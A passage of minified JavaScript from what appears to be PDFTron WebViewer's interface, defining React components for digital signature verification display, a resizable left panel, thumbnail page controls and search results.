B=e.sent,e.next=123,B.getSubjectField();case 123:return H=e.sent,e.next=126,DR(H);case 126:if(e.t7=e.sent,e.t7){e.next=129;break}e.t7={};case 129:V=e.t7,A=V.e_commonName;case 131:if(F===i.DigitalSignatureField.SubFilterType.e_ETSI_RFC3161){e.next=160;break}if(A){e.next=141;break}return e.next=135,C.getSignatureName();case 135:if(e.t8=e.sent,e.t8){e.next=140;break}return e.next=139,C.getContactInfo();case 139:e.t8=e.sent;case 140:A=e.t8;case 141:return e.next=143,C.getSigningTime();case 143:return _=e.sent,e.next=146,_.isValid();case 146:if(!e.sent){e.next=150;break}_=IR(_),e.next=151;break;case 150:_=null;case 151:return e.next=153,C.getContactInfo();case 153:return P=e.sent,e.next=156,C.getLocation();case 156:return M=e.sent,e.next=159,C.getReason();case 159:R=e.sent;case 160:return e.next=162,C.getDocumentPermissions();case 162:return T=e.sent,e.next=165,C.isCertification();case 165:k=e.sent;case 166:return e.next=168,x.getVerificationStatus();case 168:return z=e.sent,e.next=171,x.getDocumentStatus();case 171:return U=e.sent,e.next=174,x.getDigestStatus();case 174:return G=e.sent,e.next=177,x.getTrustStatus();case 177:return W=e.sent,e.next=180,x.getPermissionsStatus();case 180:return q=e.sent,e.next=183,x.getDigestAlgorithm();case 183:return Z=e.sent,e.t9=Promise,e.next=187,x.getDisallowedChanges();case 187:return e.t10=e.sent.map(function(){var e=RR(regeneratorRuntime.mark((function e(t){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.getObjNum();case 2:return e.t0=e.sent,e.next=5,t.getTypeAsString();case 5:return e.t1=e.sent,e.abrupt("return",{objnum:e.t0,type:e.t1});case 7:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()),e.next=190,e.t9.all.call(e.t9,e.t10);case 190:return Y=e.sent,$=W===l.e_trust_verified,K=void 0,X=void 0,Q=void 0,e.next=197,x.hasTrustVerificationResult();case 197:if(!e.sent){e.next=245;break}return e.next=201,x.getTrustVerificationResult();case 201:return J=e.sent,e.next=204,J.getResultString();case 204:return K=e.sent,e.next=207,J.getTimeOfTrustVerificationEnum();case 207:return X=e.sent,e.next=210,J.getTimeOfTrustVerification();case 210:return(ee=e.sent)&&(Q=NR(ee)),e.next=214,J.getCertPath();case 214:if(!(te=e.sent).length){e.next=245;break}return ne=te[0],e.next=219,ne.getIssuerField();case 219:return re=e.sent,e.next=222,DR(re);case 222:return oe=e.sent,Object.assign(I,oe),e.next=226,ne.getSubjectField();case 226:return ie=e.sent,e.next=229,DR(ie);case 229:return ae=e.sent,Object.assign(N,ae),le=te[te.length-1],e.prev=232,e.next=235,le.getNotBeforeEpochTime();case 235:return se=e.sent,e.next=238,le.getNotAfterEpochTime();case 238:ue=e.sent,j=ue>=ee&&ee>=se,e.next=245;break;case 242:e.prev=242,e.t11=e.catch(232),e.t11.includes("calendar_point::to_std_timepoint() does not support years after")&&(console.warn("The following error is a known issue with Botan, and aims to be addressed in a future release of PDFNet. This currently does not impact PDFTron's Digital Signature Verification capabilities."),console.warn(e.t11));case 245:return ce=void 0,ce=z?"digital_signature_valid":U!==c.e_no_error||G!==s.e_digest_verified&&G!==s.e_digest_verification_disabled||W===l.e_no_trust_status||q!==u.e_unmodified&&q!==u.e_has_allowed_changes&&q!==u.e_permissions_verification_disabled?"digital_signature_error":"digital_signature_warning",A?L=A:!A&&N.e_commonName&&(L=N.e_commonName),e.next=250,S.getName();case 250:fe=e.sent,f[fe]={signed:D,signer:A,signerName:L,signTime:_,verificationStatus:z,documentStatus:U,digestStatus:G,trustStatus:W,permissionStatus:q,disallowedChanges:Y,trustVerificationResultString:K,timeOfTrustVerificationEnum:X,trustVerificationTime:Q,id:O,badgeIcon:ce,validSignerIdentity:$,digestAlgorithm:Z,documentPermission:T,isCertification:k,contactInfo:P,location:M,reason:R,issuerField:I,subjectField:N,validAtTimeOfSigning:j},e.next=256;break;case 254:e.prev=254,e.t12=e.catch(90);case 256:E.next(),e.next=70;break;case 259:case"end":return e.stop()}}),e,null,[[7,19,22,25],[26,61,64,67],[45,53],[90,254],[232,242]])}))));case 6:return e.abrupt("return",f);case 7:case"end":return e.stop()}}),e)})));return function(t,n,r){return e.apply(this,arguments)}}(),IR=function(e){var t=e.year,n=e.month,r=e.day,o=e.hour,i=e.minute,a=e.second;return"".concat(t,"-").concat(n,"-").concat(r,", ").concat(o,":").concat(i,":").concat(a)},NR=function(e){var t=new Date(0);return t.setUTCSeconds(e),t.toLocaleDateString("en-US",{year:"numeric",month:"long",weekday:"long",day:"numeric",hour:"numeric",minute:"numeric"})},DR=function(){var e=RR(regeneratorRuntime.mark((function e(t){var n,r,o,i,a,l,s,u;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n={},e.next=3,t.getAllAttributesAndValues();case 3:r=e.sent,o=kR(r),e.prev=5,o.s();case 7:if((i=o.n()).done){e.next=21;break}return a=i.value,e.next=11,a.getAttributeTypeOID();case 11:return l=e.sent,e.next=14,l.getRawValue();case 14:return s=e.sent,e.next=17,a.getStringValue();case 17:u=e.sent,n[FR(s)]=u;case 19:e.next=7;break;case 21:e.next=26;break;case 23:e.prev=23,e.t0=e.catch(5),o.e(e.t0);case 26:return e.prev=26,o.f(),e.finish(26);case 29:return e.abrupt("return",n);case 30:case"end":return e.stop()}}),e,null,[[5,23,26,29]])})));return function(t){return e.apply(this,arguments)}}(),FR=function(e){return{"[2,5,4,3]":"e_commonName","[2,5,4,4]":"e_surname","[2,5,4,6]":"e_countryName","[2,5,4,7]":"e_localityName","[2,5,4,8]":"e_stateOrProvinceName","[2,5,4,9]":"e_streetAddress","[2,5,4,10]":"e_organizationName","[2,5,4,11]":"e_organizationalUnitName","[1,2,840,113549,1,9,1]":"e_emailAddress"}["string"==typeof e?e:JSON.stringify(e)]},BR=(n(1040),function(){return s.a.createElement("div",{className:"spinner"})}),HR=(n(1041),{badge:Is.a.string,size:Is.a.string}),VR=function(e){var t=e.badge,n=e.size,r=void 0===n?"medium":n;return s.a.createElement("div",{className:"signature-icon"},t&&s.a.createElement(cf,{glyph:t,className:"badge ".concat(r)}))};VR.propTypes=HR;var zR=VR;function UR(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return GR(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return GR(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function GR(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var WR=function(e){var t=e.rect,n=UR(Object(l.useState)(!1),2),r=n[0],o=n[1];return Object(l.useEffect)((function(){var e=vt.getScrollViewElement(),t=function(){o(!1)};return e.addEventListener("scroll",t),function(){return e.removeEventListener("scroll",t)}})),Object(l.useEffect)((function(){t&&(setTimeout((function(){o(!0)}),50),setTimeout((function(){o(!1)}),700))}),[t]),r&&c.a.createPortal(s.a.createElement("div",{style:{position:"absolute",top:t.y1,left:t.x1,width:t.x2-t.x1,height:t.y2-t.y1,border:"1px solid #00a5e4",zIndex:100}}),document.getElementById("app"))};n(1042);function qR(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ZR(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ZR(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ZR(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var YR={name:Is.a.string.isRequired,collapsible:Is.a.bool.isRequired,onClick:Is.a.func,field:Is.a.instanceOf(Annotations.Forms.Field)},$R=function(e){var t,n,r=e.name,o=e.collapsible,i=e.field,a=le((function(e){return fi.getVerificationResult(e,r)})),u=qR(Object(l.useState)(!0),2),c=u[0],f=u[1],d=qR(Object(l.useState)(null),2),p=d[0],h=d[1],m=qR(Object(l.useState)(!1),2),g=m[0],v=m[1],y=window.PDFNet,b=y.VerificationResult,w=y.VerificationOptions.TimeMode,E=(b.TrustStatus,b.DigestStatus,b.ModificationPermissionsStatus),S=(b.DocumentStatus,qR(Ks(),1)[0]),C=a.signed,x=a.signTime,O=(a.id,a.verificationStatus),A=a.permissionStatus,_=a.disallowedChanges,T=a.trustVerificationResultString,k=a.timeOfTrustVerificationEnum,P=a.trustVerificationTime,M=a.badgeIcon,R=a.isCertification,j=a.contactInfo,L=a.location,I=a.reason,N=a.signerName,D=re(),F=function(e){if(e.widgets.length){var t=e.widgets[0];vt.jumpToAnnotation(t);var n=vt.getScrollViewElement(),r=n.scrollLeft,o=n.scrollTop,i=t.getRect(),a=vt.getDisplayModeObject().pageToWindow({x:i.x1,y:i.y1},t.PageNumber),l=vt.getDisplayModeObject().pageToWindow({x:i.x2,y:i.y2},t.PageNumber);h({x1:a.x-r,y1:a.y-o,x2:l.x-r,y2:l.y-o})}},B=function(e){e.stopPropagation(),f(!c),F(i)},H=function(){D(Ps.setSignatureValidationModalWidgetName(r)),D(Ps.openElement("signatureValidationModal"))};return s.a.createElement("div",{className:"signature-widget-info"},C?s.a.createElement(s.a.Fragment,null,(n=S(R?"digitalSignatureVerification.Certified":"digitalSignatureVerification.Signed"),n+=" ".concat(S("digitalSignatureVerification.by")," ").concat(N||S("digitalSignatureModal.unknown")),x&&(n+=" ".concat(S("digitalSignatureVerification.on")," ").concat(x)),s.a.createElement("div",{className:"title dropdown",onClick:B,onKeyPress:B,role:"button",tabIndex:0},o&&s.a.createElement("div",{className:js()({arrow:!0,expanded:c})},s.a.createElement(cf,{glyph:"ic_chevron_right_black_24px"})),s.a.createElement(zR,{badge:M,size:"small"}),s.a.createElement("p",null,n))),c&&s.a.createElement("div",null,s.a.createElement("div",{className:"header"},(t=R?"Certification":"Signature",s.a.createElement("div",{className:"title"},s.a.createElement("p",null,"".concat(t,O?" is valid.":" verification failed.")))),s.a.createElement("div",{className:"body"},function(){var e;switch(A){case E.e_invalidated_by_disallowed_changes:e=S("digitalSignatureVerification.permissionStatus.invalidatedByDisallowedChanges");break;case E.e_has_allowed_changes:e=S("digitalSignatureVerification.permissionStatus.hasAllowedChanges");break;case E.e_unmodified:e="".concat(S("digitalSignatureVerification.permissionStatus.unmodified")," ").concat(S(R?"digitalSignatureVerification.certified":"digitalSignatureVerification.signed"),".");break;case E.e_permissions_verification_disabled:e=S("digitalSignatureVerification.permissionStatus.permissionsVerificationDisabled");break;case E.e_no_permissions_status:e=S("digitalSignatureVerification.permissionStatus.noPermissionsStatus")}return s.a.createElement("p",null,e)}(),_.map((function(e){var t=e.objnum,n=e.type;return s.a.createElement("p",{key:t},S("digitalSignatureVerification.disallowedChange",{type:n,objnum:t}))})),function(){var e;switch(k){case w.e_current:e=S("digitalSignatureVerification.trustVerification.current");break;case w.e_signing:e=S("digitalSignatureVerification.trustVerification.signing");break;case w.e_timestamp:e=S("digitalSignatureVerification.trustVerification.timestamp");break;default:console.warn("Unexpected pdftron::PDF::VerificationOptions::TimeMode: ".concat(k))}return T?s.a.createElement("div",{className:"trust-verification-result"},s.a.createElement("p",null,S("digitalSignatureVerification.trustVerification.verifiedTrust")),s.a.createElement("p",null,P),s.a.createElement("p",null,e)):s.a.createElement("p",null,S("digitalSignatureVerification.trustVerification.noTrustVerification"))}(),s.a.createElement("div",{onClick:H,onKeyPress:H,role:"button",tabIndex:0,className:"link"},s.a.createElement("p",{className:"bold underline"},"Signature Properties")))),s.a.createElement("div",{className:"header header-with-arrow"},j||L||I?s.a.createElement("div",null,s.a.createElement("div",{className:"title dropdown",onClick:function(){return v(!g)},onKeyPress:function(){return v(!g)},role:"button",tabIndex:0},s.a.createElement("div",{className:js()({arrow:!0,expanded:g})},s.a.createElement(cf,{glyph:"ic_chevron_right_black_24px"})),s.a.createElement("p",null,S("digitalSignatureVerification.signatureDetails.signatureDetails"))),g&&s.a.createElement("div",{className:"body"},s.a.createElement("div",null,s.a.createElement("p",{className:"bold"},"".concat(S("digitalSignatureVerification.signatureDetails.contactInformation"),":")),s.a.createElement("p",{className:"result-for-header"},j||S("digitalSignatureVerification.signatureDetails.noContactInformation"))),s.a.createElement("div",null,s.a.createElement("p",{className:"bold"},"".concat(S("digitalSignatureVerification.signatureDetails.location"),":")),s.a.createElement("p",{className:"result-for-header"},L||S("digitalSignatureVerification.signatureDetails.noLocation"))),s.a.createElement("div",null,s.a.createElement("p",{className:"bold"},"".concat(S("digitalSignatureVerification.signatureDetails.reason"),":")),s.a.createElement("p",{className:"result-for-header"},I||S("digitalSignatureVerification.signatureDetails.noReason"))),x&&s.a.createElement("div",null,s.a.createElement("p",{className:"bold"},"".concat(S("digitalSignatureVerification.signatureDetails.signingTime"),":")),s.a.createElement("p",{className:"result-for-header"},x||S("digitalSignatureVerification.signatureDetails.noSigningTime"))))):null))):s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"title link",tabIndex:0,onClick:function(){return F(i)},onKeyPress:function(){return F(i)}},s.a.createElement(zR,null),s.a.createElement("p",null,S("digitalSignatureVerification.unsignedSignatureField",{fieldName:i.name})))),s.a.createElement(WR,{rect:p}))};$R.propTypes=YR;var KR=$R;n(1043);function XR(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function QR(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){XR(i,r,o,a,l,"next",e)}function l(e){XR(i,r,o,a,l,"throw",e)}a(void 0)}))}}function JR(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ej(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ej(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ej(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var tj=function(){var e=re(),t=JR(Object(l.useState)([]),2),n=t[0],r=t[1],o=JR(Object(l.useState)(!1),2),i=o[0],a=o[1],u=JR(Object(l.useState)(""),2),c=u[0],f=u[1],d=JR(Object(l.useState)(vt.getDocument()),2),p=d[0],h=d[1],m=JR(le((function(e){return[fi.isElementDisabled(e,"signaturePanel"),fi.getCertificates(e),fi.getTrustLists(e)]})),3),g=m[0],v=m[1],y=m[2],b=JR(Ks(),1)[0],w=function(){var e=QR(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:h(vt.getDocument());case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),E=Object(l.useCallback)((function(){a(!0),e(Ps.setVerificationResult({}))}),[a,e]);if(Object(l.useEffect)((function(){return vt.addEventListener("documentLoaded",w),vt.addEventListener("documentUnloaded",E),function(){vt.removeEventListener("documentLoaded",w),vt.removeEventListener("documentUnloaded",E)}}),[E]),Object(l.useEffect)((function(){p?(a(!0),jR(v,y,e).then(function(){var e=QR(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,vt.getAnnotationsLoadedPromise();case 2:n=vt.getAnnotationManager().getFieldManager(),r(Object.keys(t).map((function(e){return n.getField(e)}))),f(""),a(!1);case 6:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()).catch((function(e){e&&e.message?f(e.message):console.error(e)}))):a(!0)}),[v,p,e]),g)return null;return s.a.createElement("div",{className:"Panel SignaturePanel","data-element":"signaturePanel"},function(){var e;if(i)e=s.a.createElement(BR,null);else if("Error reading the local certificate"===c)e=b("digitalSignatureVerification.panelMessages.localCertificateError");else if("Download Failed"===c)e=b("digitalSignatureVerification.panelMessages.certificateDownloadError");else{if(n.length)return null;e=b("digitalSignatureVerification.panelMessages.noSignatureFields")}return s.a.createElement("div",{className:"center"},e)}(),!i&&n.length>0&&n.map((function(e,t){return s.a.createElement(KR,{key:t,name:e.name,collapsible:!0,field:e})})))},nj=(n(1044),function(e){var t=e.onResize,n=e.minWidth,r=e.leftDirection,o=e.dataElement,i=le((function(e){return fi.isElementDisabled(e,o)})),a=Object(l.useRef)(!1);return Object(l.useEffect)((function(){var e=function(e){var i=e.clientX;if(a.current){var l=Math.max(n,Math.min(window.innerWidth,r?window.innerWidth-i:i));t(l),zt(Ht.PANEL_RESIZED,{element:o,width:l})}};return document.addEventListener("mousemove",e),function(){return document.removeEventListener("mousemove",e)}}),[r,n,t]),Object(l.useEffect)((function(){var e=function(){a.current=!1};return document.addEventListener("mouseup",e),function(){return document.removeEventListener("mouseup",e)}}),[]),i?null:s.a.createElement("div",{"data-element":o,className:"resize-bar",onMouseDown:function(){a.current=!0}},s.a.createElement(cf,{glyph:"icon-detach-toolbar"}))});n(1045),n(289);var rj=function(e){var t=e.onReplace,n=e.onExtractPages,r=e.onDeletePages;return s.a.createElement("div",{className:"PageControlContainer root small"},s.a.createElement("div",{className:"dropdown-menu button-hover"},s.a.createElement(Df,{title:"action.rotate",element:"thumbnailsControlRotatePopup",dataElement:"thumbnailsControlRotatePopupTrigger",img:"icon-header-page-manipulation-page-rotation-clockwise-line"}),s.a.createElement("div",{className:"indicator"})),s.a.createElement("div",{className:"dropdown-menu"},s.a.createElement(Df,{title:"action.insertPage",className:"dropdown-menu",element:"thumbnailsControlInsertPopup",dataElement:"thumbnailsControlInsertPopupTrigger",img:"icon-header-page-manipulation-insert-above"}),s.a.createElement("div",{className:"indicator"})),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlReplace",img:"icon-page-replacement",onClick:t,title:"action.replace"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlExtract",img:"icon-page-manipulation-extract",onClick:n,title:"action.extract"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlDelete",img:"icon-page-manipulation-delete",onClick:r,title:"action.delete"}),s.a.createElement("div",{className:"dropdown-menu button-hover"},s.a.createElement(Df,{title:"action.more",className:"dropdown-menu",element:"thumbnailsControlManipulatePopup",dataElement:"thumbnailsControlManipulatePopupTrigger",img:"icon-tool-more"}),s.a.createElement("div",{className:"indicator"})))};var oj=function(e){var t=e.onRotateClockwise,n=e.onRotateCounterClockwise,r=e.onInsertAbove,o=e.onInsertBelow,i=e.onReplace,a=e.onExtractPages,l=e.onDeletePages;return s.a.createElement("div",{className:"PageControlContainer root"},s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlRotateClockwise",img:"icon-header-page-manipulation-page-rotation-clockwise-line",onClick:t,title:"action.rotateClockwise"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlRotateCounterClockwise",img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",onClick:n,title:"action.rotateCounterClockwise"}),s.a.createElement("div",{className:"divider"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlInsertAbove",img:"icon-header-page-manipulation-insert-above",onClick:r,title:"action.insertBlankPageAbove"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlInsertBelow",img:"icon-header-page-manipulation-insert-below",onClick:o,title:"action.insertBlankPageBelow"}),s.a.createElement("div",{className:"divider"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlReplace",img:"icon-page-replacement",onClick:i,title:"action.replace"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlExtract",img:"icon-page-manipulation-extract",onClick:a,title:"action.extract"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlDelete",img:"icon-page-manipulation-delete",onClick:l,title:"action.delete"}),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"dropdown-menu button-hover"},s.a.createElement(Df,{title:"action.more",className:"dropdown-menu",element:"thumbnailsControlManipulatePopup",dataElement:"thumbnailsControlManipulatePopupTrigger",img:"icon-tool-more"}),s.a.createElement("div",{className:"indicator"})))};var ij=function(e){var t=e.onRotateClockwise,n=e.onRotateCounterClockwise;return s.a.createElement("div",{className:"PageControlContainer root small"},s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlRotateCounterClockwise",img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",onClick:n,title:"action.rotateCounterClockwise"}),s.a.createElement(bf,{className:"button-hover",dataElement:"thumbnailsControlRotateClockwise",img:"icon-header-page-manipulation-page-rotation-clockwise-line",onClick:t,title:"action.rotateClockwise"}))};function aj(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return lj(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return lj(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lj(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var sj=function(){var e=re(),t=aj(le((function(e){return[fi.getSelectedThumbnailPageIndexes(e),fi.getLeftPanelWidth(e),fi.pageDeletionConfirmationModalEnabled(e)]})),3),n=t[0],r=t[1],o=t[2],i=n.map((function(e){return e+1})),a=function(){return!fO(i,e)&&aO(e)},l=function(){return!fO(i,e)&&lO(i,e)},u=function(){return!fO(i,e)&&sO(i,e,o)},c=function(){return!fO(i,e)&&nO(i)},f=function(){return!fO(i,e)&&rO(i)},d=vt.getDocument(),p=null==d?void 0:d.type;return p===qu||(p===Uu||p===Gu)||null!=d&&d.isWebViewerServerDocument()?s.a.createElement(ij,{onRotateClockwise:c,onRotateCounterClockwise:f}):r<360?s.a.createElement(rj,{onReplace:a,onExtractPages:l,onDeletePages:u}):s.a.createElement(oj,{onReplace:a,onExtractPages:l,onDeletePages:u,onRotateCounterClockwise:f,onRotateClockwise:c,onInsertAbove:function(){return!fO(i,e)&&oO(i)},onInsertBelow:function(){return!fO(i,e)&&iO(i)}})};function uj(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return cj(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return cj(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function cj(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var fj=function(){var e=Rf(["(max-width: 640px)"],[!0],!1),t=Rf(["(max-width: 900px)"],[!0],!1),n=uj(le((function(e){return[fi.getCurrentToolbarGroup(e),fi.isElementOpen(e,"header"),fi.isElementOpen(e,"toolsHeader"),fi.isElementOpen(e,"leftPanel"),fi.isElementDisabled(e,"leftPanel"),fi.getActiveLeftPanel(e),fi.getCustomPanels(e),fi.getLeftPanelWidth(e),fi.getNotesInLeftPanel(e),fi.isInDesktopOnlyMode(e),fi.isThumbnailSelectingPages(e)]}),N),11),r=n[0],o=n[1],i=n[2],a=n[3],l=n[4],u=n[5],c=n[6],f=n[7],d=n[8],p=n[9],h=n[10],m=re(),g=function(e){return e===u?"flex":"none"},v={};!p&&e||(v={width:"".concat(f,"px"),minWidth:"".concat(f,"px")});var y=!(!a||l);return s.a.createElement("div",{className:js()({Panel:!0,LeftPanel:!0,closed:!y,"tools-header-open":i&&"toolbarGroup-View"!==r,"tools-header-and-header-hidden":!o&&!i,"thumbnail-panel-active":"thumbnailsPanel"===u,"outlines-panel-active":"outlinesPanel"===u}),onDrop:function(e){e.preventDefault()},onDragOver:function(e){e.preventDefault()},"data-element":"leftPanel"},s.a.createElement("div",{className:"left-panel-container",style:v},!p&&e&&s.a.createElement("div",{className:"close-container"},s.a.createElement("div",{className:"close-icon-container",onClick:function(){m(Ps.closeElements(["leftPanel"]))}},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),s.a.createElement("div",{className:"left-panel-header"},h?s.a.createElement(sj,null):s.a.createElement(gS,null)),"thumbnailsPanel"===u&&s.a.createElement(WO,null),"outlinesPanel"===u&&s.a.createElement(Z_,null),"bookmarksPanel"===u&&s.a.createElement(iT,null),"layersPanel"===u&&s.a.createElement(TT,null),vt.isFullPDFEnabled()&&"signaturePanel"===u&&s.a.createElement(tj,null),"attachmentPanel"===u&&s.a.createElement(TR,null),d&&"notesPanel"===u&&s.a.createElement(bR,{currentLeftPanelWidth:f}),c.map((function(e,t){var n=e.panel;return s.a.createElement(wd,{key:n.dataElement||t,className:"Panel ".concat(n.dataElement),display:g(n.dataElement),dataElement:n.dataElement,render:n.render})}))),(p||!t)&&s.a.createElement(nj,{dataElement:"leftPanelResizeBar",minWidth:264,onResize:function(e){var t=window.innerWidth;kt&&(t-=30),m(Ps.setLeftPanelWidth(Math.min(e,t)))}}))},dj=(n(1046),n(316)),pj=n.n(dj),hj=n(211),mj=n.n(hj),gj=["measureRef","contentRect"];function vj(){return(vj=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function yj(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var bj={currentResultIndex:Is.a.number.isRequired,searchResults:Is.a.arrayOf(Is.a.object).isRequired,t:Is.a.func.isRequired,pageLabels:Is.a.arrayOf(Is.a.any).isRequired,isProcessingSearchResults:Is.a.bool};function wj(e){var t=e.currentResultIndex,n=e.searchResults,r=e.t,o=e.pageLabels,i=0===t?t:t-1,a=n[t],l=n[i],u=l===a,c=l.pageNum!==a.pageNum;if(u||c){var f="".concat(r("option.shared.page")," ").concat(o[a.pageNum-1]);return s.a.createElement("div",{role:"cell"},s.a.createElement(fR,null,f))}return null}wj.propTypes=bj;var Ej={result:Is.a.object.isRequired,currentResultIndex:Is.a.number.isRequired,activeResultIndex:Is.a.number.isRequired,onSearchResultClick:Is.a.func};function Sj(e){var t=e.result,n=e.currentResultIndex,r=e.activeResultIndex,o=e.onSearchResultClick,i=t.ambientStr,a=t.resultStrStart,l=t.resultStrEnd,u=t.resultStr,c=i.slice(0,a),f=""===i?u:i.slice(a,l),d=i.slice(l);return s.a.createElement("button",{role:"cell",className:"SearchResult ".concat(n===r?"selected":""),onClick:function(){o&&o(n,t)}},c,s.a.createElement("span",{className:"search-value"},f),d)}Sj.propTypes=Ej;var 